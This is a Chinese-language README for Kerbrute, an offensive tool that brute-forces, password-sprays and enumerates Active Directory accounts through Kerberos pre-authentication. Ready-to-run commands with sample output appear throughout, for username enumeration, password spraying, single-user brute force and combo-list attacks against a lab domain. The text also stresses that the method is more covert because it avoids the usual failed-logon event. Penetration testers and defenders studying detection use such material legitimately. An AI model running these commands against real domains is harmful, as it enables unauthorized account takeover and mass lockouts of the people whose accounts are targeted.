
用于执行Kerberos预认证暴力破解的工具
一款通过 Kerberos 预认证快速暴力破解和枚举有效 Active Directory 账户的工具
从 releases 页面 获取最新二进制文件即可开始使用。
本工具源于几年前我编写的一些 bash 脚本,用于在 Linux 上使用 Heimdal Kerberos 客户端进行暴力破解。我希望有一个无需安装 Kerberos 客户端特权即可使用的工具,当我发现纯 Go 实现的 Kerberos 库 gokrb5 时,我决定最终学习 Go 并编写了这个工具。
通过 Kerberos 暴力破解 Windows 密码比我所知的任何其他方法都要快得多,而且可能更隐蔽,因为预认证失败不会触发那个“传统”的 帐户登录失败 事件 4625。使用 Kerberos,你只需向 KDC(域控制器)发送一个 UDP 帧即可验证用户名或测试登录。
更多背景信息,请查看我的 Troopers 2019 演讲《Fun with LDAP and Kerberos》(链接待定)
Kerbrute 有三个主要命令:
必须指定域(-d)或域控制器(--dc)。如果未指定域控制器,则通过 DNS 查询 KDC。
默认情况下,Kerbrute 是多线程的,使用 10 个线程。可通过 -t 选项更改。
输出记录到标准输出,但可以通过 -o 指定日志文件。
默认情况下不记录失败信息,但可以通过 -v 启用。
最后,Kerbrute 有一个 --safe 选项。启用此选项后,如果某个账户返回锁定状态,它将中止所有线程,以防锁定其他账户。
使用 help 命令获取更多信息
$ ./kerbrute -h
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (bc1d606) - 11/15/20 - Ronnie Flathers @ropnop
This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts
Usage:
kerbrute [command]
Available Commands:
bruteforce Bruteforce username:password combos, from a file or stdin
bruteuser Bruteforce a single user's password from a wordlist
help Help about any command
passwordspray Test a single password against a list of users
userenum Enumerate valid domain usernames via Kerberos
version Display version info and quit
Flags:
--dc string The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
--delay int Delay in millisecond between each attempt. Will always use single thread if set
-d, --domain string The full domain to use (e.g. contoso.com)
--downgrade Force downgraded encryption type (arcfour-hmac-md5)
--hash-file string File to save AS-REP hashes to (if any captured), otherwise just logged
-h, --help help for kerbrute
-o, --output string File to write logs to. Optional.
--safe Safe mode. Will abort if any user comes back as locked out. Default: FALSE
-t, --threads int Threads to use (default 10)
-v, --verbose Log failures and errors
Use "kerbrute [command] --help" for more information about a command.
要枚举用户名,Kerbrute 发送不带预认证的 TGT 请求。如果 KDC 返回 PRINCIPAL UNKNOWN 错误,则用户名不存在。但如果 KDC 提示需要预认证,我们就知道用户名存在并继续。这不会导致任何登录失败,因此不会锁定任何账户。如果启用了 Kerberos 日志记录,这将生成 Windows 事件 ID 4768。
root@kali:~# ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:28:04 > Using KDC(s):
2019/03/06 21:28:04 > pdc01.lab.ropnop.com:88
2019/03/06 21:28:04 > [+] VALID USERNAME: [email protected]
2019/03/06 21:28:04 > [+] VALID USERNAME: [email protected]
2019/03/06 21:28:04 > Done! Tested 1001 usernames (2 valid) in 0.425 seconds
使用 passwordspray,Kerbrute 将针对域用户列表执行横向暴力破解攻击。当你有大量用户列表且只需测试一两个常见密码时,这非常有用。警告:这会增加失败登录计数并锁定账户。这将生成事件 ID 4768 - 请求 Kerberos 身份验证票证 (TGT) 和 4771 - Kerberos 预认证失败
root@kali:~# ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:37:29 > Using KDC(s):
2019/03/06 21:37:29 > pdc01.lab.ropnop.com:88
2019/03/06 21:37:35 > [+] VALID LOGIN: [email protected]:Password123
2019/03/06 21:37:37 > [+] VALID LOGIN: [email protected]:Password123
2019/03/06 21:37:37 > Done! Tested 2755 logins (2 successes) in 7.674 seconds
这是针对单个用户名的传统暴力破解攻击。仅当您确定没有锁定策略时才运行!这将生成事件 ID 4768 - 请求 Kerberos 身份验证票证 (TGT) 和 4771 - Kerberos 预认证失败
root@kali:~# ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:38:24 > Using KDC(s):
2019/03/06 21:38:24 > pdc01.lab.ropnop.com:88
2019/03/06 21:38:27 > [+] VALID LOGIN: [email protected]:Summer2017
2019/03/06 21:38:27 > Done! Tested 1001 logins (1 successes) in 2.711 seconds
此模式从文件或 stdin 读取用户名和密码组合(格式为 username:password)并通过 Kerberos 预认证进行测试。它将跳过任何空行或包含空用户名/密码的行。这将生成事件 ID 4768 - 请求 Kerberos 身份验证票证 (TGT) 和 4771 - Kerberos 预认证失败
$ cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce -
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 05/11/19 - Ronnie Flathers @ropnop
2019/05/11 18:40:56 > Using KDC(s):
2019/05/11 18:40:56 > pdc01.lab.ropnop.com:88
2019/05/11 18:40:56 > [+] VALID LOGIN: [email protected]:Password1234
2019/05/11 18:40:56 > Done! Tested 7 logins (1 successes) in 0.114 seconds
你可以从 releases 页面 下载适用于 Linux、Windows 和 Mac 的预编译二进制文件。如果你想尝鲜,也可以使用 Go 安装:
$ go get github.com/ropnop/kerbrute
克隆仓库后,你也可以使用 Makefile 为常见架构编译:
$ make help
help: Show this help.
windows: Make Windows x86 and x64 Binaries
linux: Make Linux x86 and x64 Binaries
mac: Make Darwin (Mac) x86 and x64 Binaries
clean: Delete any binaries
all: Make Windows, Linux and Mac x86/x64 Binaries
$ make all
Done.
Building for windows amd64..
Building for windows 386..
Done.
Building for linux amd64...
Building for linux 386...
Done.
Building for mac amd64...
Building for mac 386...
Done.
$ ls dist/
kerbrute_darwin_386 kerbrute_linux_386 kerbrute_windows_386.exe
kerbrute_darwin_amd64 kerbrute_linux_amd64 kerbrute_windows_amd64.exe
非常感谢 jcmturner 提供的纯 Go KRB5 实现:https://github.com/jcmturner/gokrb5 。这是一个了不起的项目,文档也非常完善。没有这个项目,这一切都无法实现。
感谢 audibleblink 对 delay 选项的建议和实现!